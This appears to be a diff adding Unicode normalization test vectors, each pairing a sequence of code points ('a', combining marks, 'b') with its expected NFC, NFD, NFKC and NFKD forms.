+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x1DCD, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062] },
+{ source: [0x0061, 0x1DCD, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x031B, 0x1DCE, 0x0321, 0x1DCE, 0x0062], NFC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x031B, 0x1DCE, 0x0321, 0x0062], NFC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1DCF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1DCF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1DCF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1DCF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1DCF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1DCF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1DCF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1DCF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1DCF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x1DD0, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DD0, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DED, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEF, 0x0315, 0x0062] },
